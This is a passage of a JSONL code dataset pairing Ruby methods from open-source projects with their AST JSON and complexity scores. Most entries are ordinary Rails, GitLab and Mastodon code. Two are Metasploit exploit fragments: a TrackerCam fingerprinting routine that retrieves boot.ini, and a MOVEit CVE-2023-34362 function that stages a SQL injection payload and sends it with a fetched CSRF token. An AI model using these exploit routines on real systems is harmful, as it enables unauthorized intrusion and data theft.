end","complexity_score":28.0,"ast_json":"{\"type\":\"def\",\"children\":[\"fingerprint\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"download_log\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rand_text_alphanumeric\",{\"type\":\"int\",\"children\":[12]}]},\"+\",{\"type\":\"str\",\"children\":[\".txt\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"!\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"lvasgn\",\"children\":[\"m\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"in <b>(.*)</b> on line\"]},{\"type\":\"regopt\",\"children\":[\"i\",\"m\",\"s\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"m\"]},\"!\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"lvasgn\",\"children\":[\"path\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"m\"]},\"[]\",{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"TrackerCam installation path is \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path\"]},\"!~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"^C\"]},{\"type\":\"regopt\",\"children\":[\"i\"]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"TrackerCam is not installed on the system drive, we can't fingerprint it\"]}]},{\"type\":\"return\",\"children\":[]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path\"]},\"!~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"Program Files\"]},{\"type\":\"regopt\",\"children\":[\"i\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"TrackerCam is installed in a non-standard location\"]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"boot\",{\"type\":\"send\",\"children\":[null,\"download_log\",{\"type\":\"str\",\"children\":[\"boot.ini\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"boot\"]},\"!\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"case\",\"children\":[{\"type\":\"lvar\",\"children\":[\"boot\"]},{\"type\":\"when\",\"children\":[{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"Windows XP.*NoExecute\"]},{\"type\":\"regopt\",\"children\":[\"i\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"str\",\"children\":[\"Windows XP SP2+\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"Windows XP\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"return\",\"children\":[{\"type\":\"str\",\"children\":[\"Windows XP SP0-SP1\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"Windows.*2003\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"return\",\"children\":[{\"type\":\"str\",\"children\":[\"Windows 2003\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"Windows.*2000\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"return\",\"children\":[{\"type\":\"str\",\"children\":[\"Windows 2000\"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"str\",\"children\":[\"Unknown OS/SP\"]}]}]}]}]}","id":"e3eacc6b-b9ed-48dd-a7fd-c681ca93c10c"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/migration.rb","start_line":1328,"raw_source":"def migrations_status # :nodoc:\n      db_list = schema_migration.normalized_versions\n\n      file_list = migration_files.filter_map do |file|\n        version, name, scope = parse_migration_filename(file)\n        raise IllegalMigrationNameError.new(file) unless version\n        if validate_timestamp? && !valid_migration_timestamp?(version)\n          raise InvalidMigrationTimestampError.new(version, name)\n        end\n        version = schema_migration.normalize_migration_number(version)\n        status = db_list.delete(version) ? \"up\" : \"down\"\n        [status, version, (name + scope).humanize]\n      end\n\n      db_list.map! do |version|\n        [\"up\", version, \"********** NO FILE **********\"]\n      end\n\n      (db_list + file_list).sort_by { |_, version, _| version.to_i }\n    end","complexity_score":43.0,"ast_json":"{\"type\":\"def\",\"children\":[\"migrations_status\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"db_list\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"schema_migration\"]},\"normalized_versions\"]}]},{\"type\":\"lvasgn\",\"children\":[\"file_list\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"migration_files\"]},\"filter_map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"file\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"version\"]},{\"type\":\"lvasgn\",\"children\":[\"name\"]},{\"type\":\"lvasgn\",\"children\":[\"scope\"]}]},{\"type\":\"send\",\"children\":[null,\"parse_migration_filename\",{\"type\":\"lvar\",\"children\":[\"file\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"version\"]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"IllegalMigrationNameError\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"file\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[null,\"validate_timestamp?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"valid_migration_timestamp?\",{\"type\":\"lvar\",\"children\":[\"version\"]}]},\"!\"]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"InvalidMigrationTimestampError\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"version\"]},{\"type\":\"lvar\",\"children\":[\"name\"]}]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"version\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"schema_migration\"]},\"normalize_migration_number\",{\"type\":\"lvar\",\"children\":[\"version\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"status\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"db_list\"]},\"delete\",{\"type\":\"lvar\",\"children\":[\"version\"]}]},{\"type\":\"str\",\"children\":[\"up\"]},{\"type\":\"str\",\"children\":[\"down\"]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"status\"]},{\"type\":\"lvar\",\"children\":[\"version\"]},{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]},\"+\",{\"type\":\"lvar\",\"children\":[\"scope\"]}]}]},\"humanize\"]}]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"db_list\"]},\"map!\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"version\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"up\"]},{\"type\":\"lvar\",\"children\":[\"version\"]},{\"type\":\"str\",\"children\":[\"********** NO FILE **********\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"db_list\"]},\"+\",{\"type\":\"lvar\",\"children\":[\"file_list\"]}]}]},\"sort_by\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"_\"]},{\"type\":\"arg\",\"children\":[\"version\"]},{\"type\":\"arg\",\"children\":[\"_\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"version\"]},\"to_i\"]}]}]}]}","id":"42ac4cdb-9e9b-4279-bd41-69db26e999c3"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/storages/app/services/storages/project_storages/notifications_service.rb","start_line":46,"raw_source":"def broadcast_raw(event:, project_folder_mode:, project_folder_mode_previously_was:, storage:)\n    OpenProject::Notifications.send(\n      \"OpenProject::Events::PROJECT_STORAGE_#{event.to_s.upcase}\".constantize,\n      project_folder_mode:,\n      project_folder_mode_previously_was:,\n      storage:\n    )\n  end","complexity_score":7.2,"ast_json":"{\"type\":\"def\",\"children\":[\"broadcast_raw\",{\"type\":\"args\",\"children\":[{\"type\":\"kwarg\",\"children\":[\"event\"]},{\"type\":\"kwarg\",\"children\":[\"project_folder_mode\"]},{\"type\":\"kwarg\",\"children\":[\"project_folder_mode_previously_was\"]},{\"type\":\"kwarg\",\"children\":[\"storage\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OpenProject\"]},\"Notifications\"]},\"send\",{\"type\":\"send\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"OpenProject::Events::PROJECT_STORAGE_\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"event\"]},\"to_s\"]},\"upcase\"]}]}]},\"constantize\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"project_folder_mode\"]},{\"type\":\"lvar\",\"children\":[\"project_folder_mode\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"project_folder_mode_previously_was\"]},{\"type\":\"lvar\",\"children\":[\"project_folder_mode_previously_was\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"storage\"]},{\"type\":\"lvar\",\"children\":[\"storage\"]}]}]}]}]}","id":"c4eabee5-8f0a-41b4-b868-d20999880b7f"}
{"repo_name":"fastlane","file_path":"./repos/fastlane/spaceship/lib/spaceship/portal/provisioning_profile.rb","start_line":409,"raw_source":"def delete!\n        client.delete_provisioning_profile!(self.id, mac: mac?)\n      end","complexity_score":4.6,"ast_json":"{\"type\":\"def\",\"children\":[\"delete!\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"client\"]},\"delete_provisioning_profile!\",{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"id\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"mac\"]},{\"type\":\"send\",\"children\":[null,\"mac?\"]}]}]}]}]}","id":"fd815973-da6b-43ec-8777-16046a67d2b9"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/resource_access_tokens/create_service.rb","start_line":102,"raw_source":"def personal_access_token_params\n      {\n        name: params[:name] || \"#{resource_type}_bot\",\n        impersonation: false,\n        scopes: params[:scopes] || default_scopes,\n        expires_at: pat_expiration,\n        description: params[:description]\n      }\n    end","complexity_score":12.2,"ast_json":"{\"type\":\"def\",\"children\":[\"personal_access_token_params\",{\"type\":\"args\",\"children\":[]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"name\"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"resource_type\"]}]},{\"type\":\"str\",\"children\":[\"_bot\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"impersonation\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"scopes\"]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"scopes\"]}]},{\"type\":\"send\",\"children\":[null,\"default_scopes\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"expires_at\"]},{\"type\":\"send\",\"children\":[null,\"pat_expiration\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"description\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"description\"]}]}]}]}]}","id":"2daada00-7c3d-4581-aa0a-8d773dbe1bc1"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/api/helpers.rb","start_line":398,"raw_source":"def authorize_any!(abilities, subject = :global, reason = nil)\n      forbidden!(reason) unless can_any?(current_user, abilities, subject)\n    end","complexity_score":6.3,"ast_json":"{\"type\":\"def\",\"children\":[\"authorize_any!\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"abilities\"]},{\"type\":\"optarg\",\"children\":[\"subject\",{\"type\":\"sym\",\"children\":[\"global\"]}]},{\"type\":\"optarg\",\"children\":[\"reason\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"can_any?\",{\"type\":\"send\",\"children\":[null,\"current_user\"]},{\"type\":\"lvar\",\"children\":[\"abilities\"]},{\"type\":\"lvar\",\"children\":[\"subject\"]}]},null,{\"type\":\"send\",\"children\":[null,\"forbidden!\",{\"type\":\"lvar\",\"children\":[\"reason\"]}]}]}]}","id":"b110e520-aec1-4236-83f3-4983a23192a2"}
{"repo_name":"doorkeeper","file_path":"./repos/doorkeeper/lib/doorkeeper/models/access_token_mixin.rb","start_line":307,"raw_source":"def secret_strategy\n        ::Doorkeeper.config.token_secret_strategy\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"secret_strategy\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Doorkeeper\"]},\"config\"]},\"token_secret_strategy\"]}]}","id":"1daf15d9-76f8-45a2-8087-30f6a9577c6a"}
{"repo_name":"forem","file_path":"./repos/forem/app/services/authentication/paths.rb","start_line":12,"raw_source":"def self.sign_in_path(provider_name, **kwargs)\n      url_helpers = Rails.application.routes.url_helpers\n\n      callback_url_helper = \"user_#{provider_name}_omniauth_callback_path\"\n      mandatory_params = {\n        callback_url: URL.url(url_helpers.public_send(callback_url_helper))\n      }\n\n      authentication_path(provider_name, **kwargs.merge(mandatory_params))\n    end","complexity_score":11.0,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"sign_in_path\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"provider_name\"]},{\"type\":\"kwrestarg\",\"children\":[\"kwargs\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"url_helpers\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"application\"]},\"routes\"]},\"url_helpers\"]}]},{\"type\":\"lvasgn\",\"children\":[\"callback_url_helper\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"user_\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"provider_name\"]}]},{\"type\":\"str\",\"children\":[\"_omniauth_callback_path\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"mandatory_params\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"callback_url\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"URL\"]},\"url\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"url_helpers\"]},\"public_send\",{\"type\":\"lvar\",\"children\":[\"callback_url_helper\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"authentication_path\",{\"type\":\"lvar\",\"children\":[\"provider_name\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"kwsplat\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"kwargs\"]},\"merge\",{\"type\":\"lvar\",\"children\":[\"mandatory_params\"]}]}]}]}]}]}]}","id":"24296664-f13e-4cd0-b502-a9d65964a600"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/merge_request.rb","start_line":1647,"raw_source":"def related_notes\n    # We're using a UNION ALL here since this results in better performance\n    # compared to using OR statements. We're using UNION ALL since the queries\n    # used won't produce any duplicates (e.g. a note for a commit can't also be\n    # a note for an MR).\n    Note\n      .from_union([notes, commit_notes], remove_duplicates: false)\n      .includes(:noteable)\n  end","complexity_score":5.0,"ast_json":"{\"type\":\"def\",\"children\":[\"related_notes\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Note\"]},\"from_union\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[null,\"notes\"]},{\"type\":\"send\",\"children\":[null,\"commit_notes\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"remove_duplicates\"]},{\"type\":\"false\",\"children\":[]}]}]}]},\"includes\",{\"type\":\"sym\",\"children\":[\"noteable\"]}]}]}","id":"ec0607c3-b6bc-4f80-a9cb-ada1fd03da62"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/db/migrate/20231018193659_add_index_to_identities_uid_provider.rb","start_line":18,"raw_source":"def remove_duplicates_and_reindex\n    deduplicate_records\n    reindex_records\n  rescue ActiveRecord::RecordNotUnique\n    retry\n  end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"remove_duplicates_and_reindex\",{\"type\":\"args\",\"children\":[]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"deduplicate_records\"]},{\"type\":\"send\",\"children\":[null,\"reindex_records\"]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"RecordNotUnique\"]}]},null,{\"type\":\"retry\",\"children\":[]}]},null]}]}","id":"b7902fa9-46e1-4d0c-b992-5076e1a36c27"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/http/moveit_cve_2023_34362.rb","start_line":373,"raw_source":"def sqli(sql_payload)\n    # Set up a fake package in the session. The order here is important. We set these session\n    # variables one per request, so first set the package information, then switch over to a\n    # 'Guest' username to allow the CSRF/injection to work as expected. If we don't do this\n    # order the session will be cleared and the injection will not work.\n    set_session({\n      'MyPkgAccessCode' => 'accesscode', # Must match the final request Arg06\n      'MyPkgID' => '0', # Is self provisioned? (must be 0)\n      'MyGuestEmailAddr' => @guest_email_addr, # Must be a valid email address @ MOVEit.DMZ.ClassLib.dll/MOVEit.DMZ.ClassLib/MsgEngine.cs\n      'MyPkgInstID' => '1234', # this can be any int value\n      'MyPkgSelfProvisionedRecips' => sql_payload,\n      'MyUsername' => 'Guest'\n    })\n\n    # Get a CSRF token - this has to be *after* you set MyUsername, since the\n    # username is incorporated into it\n    #\n    # Transaction => request type, different types will work\n    # Arg06 => the package access code (must match what's set above)\n    # Arg12 => promptaccesscode requests a form, which contains a CSRF code\n\n    body = { 'Transaction' => 'dummy', 'Arg06' => 'accesscode', 'Arg12' => 'promptaccesscode' }\n    csrf = get_csrf_token(guestaccess_request(body))\n\n    # This does the actual injection\n    body = {\n      'Arg06' => 'accesscode',\n      'transaction' => 'secmsgpost',\n      'Arg01' => 'subject',\n      'Arg04' => 'body',\n      'Arg05' => 'sendauto',\n      'Arg09' => 'pkgtest9',\n      'csrftoken' => csrf\n    }\n    guestaccess_request(body)\n  end","complexity_score":7.2,"ast_json":"{\"type\":\"def\",\"children\":[\"sqli\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"sql_payload\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"set_session\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"MyPkgAccessCode\"]},{\"type\":\"str\",\"children\":[\"accesscode\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"MyPkgID\"]},{\"type\":\"str\",\"children\":[\"0\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"MyGuestEmailAddr\"]},{\"type\":\"ivar\",\"children\":[\"@guest_email_addr\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"MyPkgInstID\"]},{\"type\":\"str\",\"children\":[\"1234\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"MyPkgSelfProvisionedRecips\"]},{\"type\":\"lvar\",\"children\":[\"sql_payload\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"MyUsername\"]},{\"type\":\"str\",\"children\":[\"Guest\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"body\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Transaction\"]},{\"type\":\"str\",\"children\":[\"dummy\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arg06\"]},{\"type\":\"str\",\"children\":[\"accesscode\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arg12\"]},{\"type\":\"str\",\"children\":[\"promptaccesscode\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"csrf\",{\"type\":\"send\",\"children\":[null,\"get_csrf_token\",{\"type\":\"send\",\"children\":[null,\"guestaccess_request\",{\"type\":\"lvar\",\"children\":[\"body\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"body\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arg06\"]},{\"type\":\"str\",\"children\":[\"accesscode\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"transaction\"]},{\"type\":\"str\",\"children\":[\"secmsgpost\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arg01\"]},{\"type\":\"str\",\"children\":[\"subject\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arg04\"]},{\"type\":\"str\",\"children\":[\"body\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arg05\"]},{\"type\":\"str\",\"children\":[\"sendauto\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arg09\"]},{\"type\":\"str\",\"children\":[\"pkgtest9\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"csrftoken\"]},{\"type\":\"lvar\",\"children\":[\"csrf\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"guestaccess_request\",{\"type\":\"lvar\",\"children\":[\"body\"]}]}]}]}","id":"7d22f982-5654-44b4-8d4a-d677f70d6542"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/dirty_test.rb","start_line":73,"raw_source":"def test_setting_time_attributes_with_time_zone_field_to_itself_should_not_be_marked_as_a_change\n    in_time_zone \"Paris\" do\n      target = Class.new(ActiveRecord::Base)\n      target.table_name = \"pirates\"\n\n      pirate = target.create!\n      pirate.created_on = pirate.created_on\n      assert_not_predicate pirate, :created_on_changed?\n    end\n  end","complexity_score":11.6,"ast_json":"{\"type\":\"def\",\"children\":[\"test_setting_time_attributes_with_time_zone_field_to_itself_should_not_be_marked_as_a_change\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"in_time_zone\",{\"type\":\"str\",\"children\":[\"Paris\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"target\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Class\"]},\"new\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Base\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"target\"]},\"table_name=\",{\"type\":\"str\",\"children\":[\"pirates\"]}]},{\"type\":\"lvasgn\",\"children\":[\"pirate\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"target\"]},\"create!\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pirate\"]},\"created_on=\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pirate\"]},\"created_on\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_not_predicate\",{\"type\":\"lvar\",\"children\":[\"pirate\"]},{\"type\":\"sym\",\"children\":[\"created_on_changed?\"]}]}]}]}]}","id":"b633b52d-543f-4f4a-9c16-ce951c9769c1"}
{"repo_name":"openproject","file_path":"./repos/openproject/lib/api/v3/queries/query_representer.rb","start_line":441,"raw_source":"def query_props\n          params.symbolize_keys.except(:id).to_query\n        end","complexity_score":5.2,"ast_json":"{\"type\":\"def\",\"children\":[\"query_props\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"symbolize_keys\"]},\"except\",{\"type\":\"sym\",\"children\":[\"id\"]}]},\"to_query\"]}]}","id":"dbf06f87-cdf3-48a9-981e-671c4b1ad460"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/mailers/previews/notify_preview.rb","start_line":496,"raw_source":"def import_source_user_complete\n    source_user = Import::SourceUser.last\n\n    Notify.import_source_user_complete(source_user.id)\n  end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"import_source_user_complete\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"source_user\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Import\"]},\"SourceUser\"]},\"last\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Notify\"]},\"import_source_user_complete\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"source_user\"]},\"id\"]}]}]}]}","id":"5426c1b5-6680-4345-a335-5735f75eb31a"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/models/concerns/user/ldap_authenticable.rb","start_line":7,"raw_source":"def authenticate_with_ldap(params = {})\n      ldap   = Net::LDAP.new(ldap_options)\n      filter = format(Devise.ldap_search_filter, uid: Devise.ldap_uid, mail: Devise.ldap_mail, email: Net::LDAP::Filter.escape(params[:email]))\n\n      if (user_info = ldap.bind_as(base: Devise.ldap_base, filter: filter, password: params[:password]))\n        ldap_get_user(user_info.first)\n      end\n    end","complexity_score":20.2,"ast_json":"{\"type\":\"def\",\"children\":[\"authenticate_with_ldap\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"params\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"ldap\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Net\"]},\"LDAP\"]},\"new\",{\"type\":\"send\",\"children\":[null,\"ldap_options\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"filter\",{\"type\":\"send\",\"children\":[null,\"format\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Devise\"]},\"ldap_search_filter\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"uid\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Devise\"]},\"ldap_uid\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"mail\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Devise\"]},\"ldap_mail\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"email\"]},{